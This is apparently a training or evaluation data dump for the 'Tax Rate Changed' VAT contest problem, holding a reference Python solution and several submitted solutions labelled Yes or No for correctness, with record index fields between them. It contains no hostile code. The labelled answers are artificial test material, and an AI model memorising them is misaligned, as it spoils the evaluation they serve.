2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7
instruction
0
52,999
10
105,998
"Correct Solution: ``` while True : x, y, s = map(int, input().split()) if x == 0 : break else : S = s // 2 + 1 # a < b と考える c = 0 # 新税率の最大価格 for i in range(1, s - 1) : a = i * (100 + x) // 100 # 旧税率 if(a <= S) : for j in range(1, s - 1) : b = j * (100 + x) // 100 if(s == a + b) : A = i * (100 + y) // 100 # 新税率 B = j * (100 + y) // 100 if(A + B > c) : c = A + B else : break print(c) ```
output
1
52,999
10
105,999
Provide a correct Python 3 solution for this coding contest problem. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7
instruction
0
53,000
10
106,000
"Correct Solution: ``` import math while True: max_price=0 x,y,s=map(int,input().split()) if x==y==s==0: break else: for i in range(1,s//2 + 1): p_1=math.floor(i*(100+x)/100) z=s-p_1 ori_z=math.ceil(z*100/(100+x)) if math.floor(ori_z *(100+x)/100)+p_1 ==s: neo_i=math.floor(i*(100+y)/100) neo_z=math.floor(ori_z*(100+y)/100) neo_sum=neo_i+neo_z if neo_sum > max_price: max_price=neo_sum print(max_price) ```
output
1
53,000
10
106,001
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Submitted Solution: ``` def tax(p,x): return p*(100+x) // 100 def solve(X,Y,S): best = 0 for a in range(1,S): for b in range(1,S): sum = tax(a,X)+tax(b,X) if sum == S: new = tax(a,Y)+tax(b,Y) best = max(best,new) if sum > S: break return best while True: X,Y,S = map(int, input().strip().split( )) if X == 0: break print(solve(X,Y,S)) ```
instruction
0
53,001
10
106,002
Yes
output
1
53,001
10
106,003
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Submitted Solution: ``` def change(before_tax,after_tax,previous_price): original_price = 0 for i in range(1, previous_price+1): if i * (100 + before_tax) // 100 == previous_price: original_price = i break else: pass return original_price * (100 + after_tax) // 100 ans_list = [] while True: x,y,s = [int(x) for x in input().split()] if x == 0: break else: ans = 0 for i in range(1,s): price1, price2 = i, s - i afterprice = change(x,y,price1) + change(x,y,price2) if afterprice > ans: ans = afterprice else: continue ans_list.append(ans) for x in ans_list: print(x) ```
instruction
0
53,002
10
106,004
Yes
output
1
53,002
10
106,005
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Submitted Solution: ``` def t(a,b,x):return b*(100+x)//100+(a-b)*(100+x)//100 while 1: x,y,s=map(int,input().split()) if x==0:break a=0 for i in range(s*100//(100+x),s+1): for j in range(1,i//2+1): if t(i,j,x)!=s:pass else:a=max(a,t(i,j,y)) print(a) ```
instruction
0
53,003
10
106,006
Yes
output
1
53,003
10
106,007
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Submitted Solution: ``` while True: x, y, s = map(int , input().split()) if x == 0 and y == 0 and s == 0: break ans = 0 for a in range(1, s): for b in range(1, a + 1): pre = a * (100 + x) // 100 + b * (100 + x) // 100 if pre == s: now = a * (100 + y) // 100 + b * (100 + y) // 100 ans = max(ans, now) print(ans) ```
instruction
0
53,004
10
106,008
Yes
output
1
53,004
10
106,009
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Submitted Solution: ``` while True: x, y, s = map(int, input().split()) if x==0 and y==0 and s==0: break else: value = 0 for a in range(1, s): for b in range(1, s-a+1): if int(a*(100+x)/100) + int(b*(100+x)/100) == s: v = int(a*(100+y)/100) + int(b*(100+y)/100) if value < v: value = v break print(value) ```
instruction
0
53,005
10
106,010
No
output
1
53,005
10
106,011
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Submitted Solution: ``` def tax(p,x): return p*(100+x) // 100 def solve(X,Y,S): for a in range(1,S): for b in range(1,S): sum = tax(a,X)+tax(b,X) if sum == S: tax(a,Y)+tax(b,Y) if sum > S: break return best while True: X,Y,S = map(int, input().strip().split('')) if X == 0: break print(solve(X,Y,S)) ```
instruction
0
53,006
10
106,012
No
output
1
53,006
10
106,013
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Submitted Solution: ``` if __name__ == "__main__": while 1: x,y,z = list(map(int,input().strip().split())) if x ==0 and y ==0 and z ==0:break data = [] for i in range(1,z): t1 = i + int(i * x/100) for j in range(1,z): t2 = j + int(j * (x/100)) if t1 + t2 == z:data.append([i,j]) ans = 0 for k in data: temp = k[0] + int(k[0]* (y/100)) + k[1] + int(k[1]* y/100) if temp > ans: ans = temp print(ans) ```
instruction
0
53,007
10
106,014
No
output
1
53,007
10
106,015
